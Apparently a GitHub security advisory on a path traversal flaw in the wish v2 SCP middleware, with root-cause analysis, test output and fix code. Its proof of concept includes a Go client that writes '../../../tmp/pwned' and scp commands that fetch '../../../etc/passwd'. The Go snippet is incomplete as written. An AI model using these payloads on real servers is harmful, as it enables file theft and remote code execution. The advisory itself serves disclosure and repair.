Summary

The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.

Affected Versions

• charm.land/wish/v2 — all versions through commit 72d67e6 (current main)
• github.com/charmbracelet/wish — likely all v1 versions (same code pattern)

Details

Root Cause

The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:

func (h *fileSystemHandler) prefixed(path string) string {
    path = filepath.Clean(path)
    if strings.HasPrefix(path, h.root) {
        return path
    }
    return filepath.Join(h.root, path)
}

When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.

Attack Vector 1: Arbitrary File Write (scp -t)

When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:

reNewFile   = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)

The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.

Attack Vector 2: Arbitrary File Read (scp -f)

When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.

Attack Vector 3: File Enumeration via Glob

The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.

Proof of Concept

All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.

Vulnerable Server

Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:

package main

import (
	"net"

	"charm.land/wish/v2"
	"charm.land/wish/v2/scp"
	"github.com/charmbracelet/ssh"
)

func main() {
	handler := scp.NewFileSystemHandler("/srv/data")
	s, _ := wish.NewServer(
		wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
		wish.WithMiddleware(scp.Middleware(handler, handler)),
		// Default: accepts all connections (no auth configured)
	)
	s.ListenAndServe()
}

Write Traversal — Write arbitrary files outside /srv/data

An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:

package main

import (
	"fmt"
	"os"

	gossh "golang.org/x/crypto/ssh"
)

func main() {
	config := &gossh.ClientConfig{
		User:            "attacker",
		Auth:            []gossh.AuthMethod{gossh.Password("anything")},
		HostKeyCallback: gossh.InsecureIgnoreHostKey(),
	}
	client, _ := gossh.Dial("tcp", "target:2222", config)
	session, _ := client.NewSession()

	// Pipe crafted SCP protocol data into stdin
	stdin, _ := session.StdinPipe()
	go func() {
		// Wait for server's NULL ack, then send traversal payload
		buf := make([]byte, 1)
		session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack

		// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
		fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
		// Wait for ack
		stdin.Write([]byte("hello world\n"))
		stdin.Write([]byte{0}) // NULL terminator
		stdin.Close()
	}()

	// Tell the server we're uploading to "."
	session.Run("scp -t .")
}

Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.

Read Traversal — Read arbitrary files outside /srv/data

No custom tooling needed. Standard scp passes the path directly:

# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd

The server resolves ../../../etc/passwd through prefixed():

1. filepath.Clean("../../../etc/passwd") → "../../../etc/passwd"
2. Not prefixed with /srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd"
3. File contents of /etc/passwd are sent to the attacker.

Glob Traversal — Enumerate and read files outside /srv/data

scp -P 2222 attacker@target:'../../../etc/pass*' ./

Validated Test Output

These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:

=== RUN   TestPathTraversalWrite
    PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite

=== RUN   TestPathTraversalWriteRecursiveDir
    PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
    PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir

=== RUN   TestPathTraversalRead
    PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead

=== RUN   TestPathTraversalGlob
    PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob

Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.

Impact

An authenticated SSH user can:

• Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or systemd units.
• Read arbitrary files accessible to the server process, including /etc/shadow, private keys, database credentials, and application secrets.
• Create arbitrary directories on the filesystem.
• Enumerate files outside the root via glob patterns.

If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.

Remediation

Fix prefixed() to enforce root containment

func (h *fileSystemHandler) prefixed(path string) (string, error) {
    // Force path to be relative by prepending /
    joined := filepath.Join(h.root, filepath.Clean("/"+path))
    // Verify the result is still within root
    if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
        return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
    }
    return joined, nil
}

Sanitize filenames in copy_from_client.go

SCP filenames should never contain path separators or .. components:

name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
    return fmt.Errorf("invalid filename: %q", name)
}

Validate info.Path in GetInfo or at the middleware entry point

info.Path = filepath.Clean("/" + info.Path)

Credit

Evan MORVAN (evnsh) — me@evan.sh (Research)
Claude Haiku (formatting the report)

References

• GHSA-xjvp-7243-rg9h